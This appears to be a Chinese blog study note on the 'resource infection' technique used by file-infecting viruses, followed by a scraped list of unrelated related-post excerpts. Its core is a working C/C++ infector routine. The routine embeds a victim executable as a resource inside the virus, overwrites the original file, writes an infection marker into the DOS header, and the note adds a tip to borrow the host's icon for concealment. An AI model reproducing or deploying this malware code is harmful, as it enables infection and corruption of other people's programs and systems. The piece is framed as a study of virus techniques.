病毒资源感染方式学习笔记

本文学习自:关于感染型病毒的那些事(三) by gaa_ra 代码也来自gaa_ra

资源感染,就是将宿主程序作为病毒程序的一个资源来保存,将附加了宿主程序的病毒程序覆盖原来的宿主程序,当打开病毒文件时,病毒发作并将宿主程序释放出来运行。

进行资源感染后,打开感染文件的过程大致如下:

CreateFile创建资源文件,用于存放要被释放出来的宿主文件 --> FindResource查找该资源 --> LoadResource --> SizeofResource --> WriteFile将资源(宿主程序)写入刚刚创建的文件 --> CreateProcess运行宿主程序 --> WaitForSingleObject等待宿主程序结束 --> CloseHandle关闭进程句柄和线程句柄 --> DeleteFile删除刚刚生成的资源文件。将宿主文件作为资源添加到程序可以用UpdateResource来文件,注意,病毒编译时需要有资源,如果病毒本身没有资源,使用UpdateResource会失败,参考代码如下:

void InfectFilesByResource(char *FileName)
02.{
03.    DWORD dwSizeOfFile;
04.    DWORD dwBytesUsed;
05.    char szTempVirusFile[MAX_PATH];
06.    HANDLE hFile;
07.    HRSRC hResource;
08.    LPBYTE lpBuffer;
09.    hFile = CreateFile(FileName,
10.        GENERIC_READ | GENERIC_WRITE,
11.        0,
12.        NULL,
13.        OPEN_EXISTING,
14.        FILE_ATTRIBUTE_ARCHIVE,
15.        NULL);
16.    if (INVALID_HANDLE_VALUE != hFile)
17.    {
18.        dwSizeOfFile = GetFileSize(hFile, NULL);
19.        //这里对文件大小进行判断,如果病毒体长度+宿主程序长度大于1M的话就进行注入感染
20.        if (dwSizeOfFile + dwSizeOfVirus > 0x100000)
21.        {
22.            CloseHandle(hFile);
23.            InfectFilesByInject(FileName);      // 这个注入可以参考空隙感染方式
24.            return;
25.        }
26.        lpBuffer = new BYTE[dwSizeOfFile];
27.        //将整个宿主程序读入Buffer当中
28.        if (ReadFile(hFile, lpBuffer, dwSizeOfFile, &dwBytesUsed, NULL) != FALSE)
29.        {
30.            //这里生成一个临时文件,加入宿主程序作为资源
31.            GetTempFileName("C://Windows//System32//", "~", 0, szTempVirusFile);
32.            //szDstFile是病毒程序路径
33.            CopyFile(szDstFile, szTempVirusFile, FALSE);
34.
35.            //下面更新病毒程序资源
36.            hResource = (HRSRC)BeginUpdateResource(szTempVirusFile, FALSE);
37.            if (NULL != hResource)
38.            {
39.                if (UpdateResource(hResource,
40.                        RT_RCDATA,
41.                        MAKEINTRESOURCE(520),
42.                        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
43.                        (LPVOID)lpBuffer,
44.                        dwBytesUsed) != FALSE)
45.                {
46.                    EndUpdateResource(hResource, FALSE);
47.                }
48.            }
49.        }
50.        delete[] lpBuffer;
51.        lpBuffer = NULL;
52.        CloseHandle(hFile);
53.
54.        //将加入了宿主程序资源的病毒程序覆盖原来宿主程序
55.        CopyFile(szTempVirusFile,FileName,FALSE);
56.        Sleep(100);
57.        //删除临时文件
58.        DeleteFile(szTempVirusFile);
59.        hFile = CreateFile(FileName,
60.            GENERIC_WRITE,
61.            0,
62.            NULL,
63.            OPEN_EXISTING,
64.            FILE_ATTRIBUTE_ARCHIVE,
65.            NULL);
66.        if (INVALID_HANDLE_VALUE != hFile)
67.        {
68.            SetFilePointer(hFile, 0x4e, NULL, FILE_BEGIN);
69.            //写入资源感染标志‘R‘,位于DOS头
70.            WriteFile(hFile,(LPCVOID)("R"), 1, &dwBytesUsed, NULL);
71.            CloseHandle(hFile);
72.        }
73.    }
74.}  

用资源感染方式,可以修改图标为宿主程序图标,以起到较好的隐蔽性。

时间: 2024-08-01 18:48:11

病毒资源感染方式学习笔记的相关文章

PHP 数据库驱动、连接数据不同方式学习笔记

相关学习资料 http://www.php.net/manual/zh/refs.database.php http://www.php.net/manual/zh/internals2.pdo.php http://bbs.phpchina.com/thread-184537-1-1.html http://www.metsky.com/archives/660.html http://www.phpbuilder.com/ http://www.w3school.com.cn/php/php

前置病毒感染方式学习笔记

本文学习自:关于PE病毒的编写学习(一~六) by yangbostar 代码也来源于此,经过一些修改,还不是很完善.如没有添加感染标记,检查感染的文件是否已被感染过. 前置病毒,和资源感染类似,资源感染是病毒把宿主程序添加到程序的资源中,替换覆盖原程序,运行时将宿主程序释放成一个临时文件运行.前置病毒是读取病毒和宿主程序数据,然后将病毒和宿主程序数据再以病毒 --> 宿主程序的顺序写入宿主程序文件,运行时创建一个临时文件,读取程序中宿主程序的数据写入临时文件运行. 文件型病毒至少有这四个模块:

输入数字 判断正负个数 三种方式 学习笔记

import java.util.Scanner; class  TestExer{ public static void main(String[] args) { Scanner s= new Scanner(System.in); int a = 0; int b = 0; //for(;;){  for 无限循环 输入0 终止 while(true){  //for无限循环改为while无限循环 输入0终止 System.out.println("请输入一个整数"); int 

学习笔记:Oracle 12C 数据非常规恢复工具bbed的使用说明

ORACLE 12C 依然支持 bbed,ORACLE 12C的测试版出来了,对于习惯了使用bbed(ORACLE 手术刀)的人来说,12C是否继续被支持是一个很让人关注的问题,通过本实验测试,12C继续支持bbed,很多艰难的数据库恢复依然可以通过bbed来实现,也从侧面说明,ORACLE 12C在块的结构上还依然和以往版本相似 数据库信息 [[email protected] ~]$ sqlplus / as sysdba SQL*Plus: Release 12.1.0.0.2 Beta

学习笔记:Oracle dul数据挖掘 使用DUL数据恢复软件恢复分区表中

使用Oracle dul数据恢复工具对Oracle数据库分区表中的数据进行恢复 创建SALES分区表案例 CREATE TABLE SALES ( PRODUCT_ID VARCHAR2(5), SALES_DATE DATE, SALES_COST NUMBER(10), STATUS VARCHAR2(20) ) PARTITION BY RANGE(SALES_DATE) SUBPARTITION BY LIST (STATUS) SUBPARTITION TEMPLATE ( SUBPA

学习笔记:Oracle dul数据挖掘 导出Oracle11G数据文件坏块中表中

试验模拟导出Oracle 11G数据库中数据文件坏块中表中的数据 以前一直以为dul对应的版本只能恢复最高的数据库版本一致,今天测试发现dul 10可以恢复11g最新版的数据库.模拟环境 SQL> select * from v$version; BANNER -------------------------------------------------------------------------------- Oracle Database 11g Enterprise Edition

[原创]java WEB学习笔记44:Filter 简介,模型,创建,工作原理,相关API,过滤器的部署及映射的方式,Demo

本博客为原创:综合 尚硅谷(http://www.atguigu.com)的系统教程(深表感谢)和 网络上的现有资源(博客,文档,图书等),资源的出处我会标明 本博客的目的:①总结自己的学习过程,相当于学习笔记 ②将自己的经验分享给大家,相互学习,互相交流,不可商用 内容难免出现问题,欢迎指正,交流,探讨,可以留言,也可以通过以下方式联系. 本人互联网技术爱好者,互联网技术发烧友 微博:伊直都在0221 QQ:951226918 ---------------------------------

Android学习笔记(三九):资源resource(下)

在上一次学习笔记中,学习了XML文件的解析,实际上一些简单的activity属性,一些简单的信息,我们也可以放入xml文件中,可以直接放入res/vaules,由系统来进行解析,而无须使用XmlPullParser来自己分析. Dimension 用于字体大小,间距pading等等.常用的尺寸大小详细见Android 学习笔记(十四):Activity-AutoCompleteTextView,一般我们使用dip/dp和sp,因为和in(inch),mm,以及px(像素点)不同,它和物理屏幕尺寸

.NET Remoting学习笔记(二)激活方式

目录 .NET Remoting学习笔记(一)概念 .NET Remoting学习笔记(二)激活方式 参考:百度百科  ♂风车车.Net 激活方式概念 在访问远程类型的一个对象实例之前,必须通过一个名为Activation的进程创建它并进行初始化.这种客户端通过通道来创建远程对象,称为对象的激活. 激活分为两大类:服务器端激活  客户端激活 服务器端激活 又称WellKnow(知名对象) 服务器应用程序在激活对象实例之前会在一个众所周知的统一资源标识符(URI)上来发布这个类型.然后该服务器进程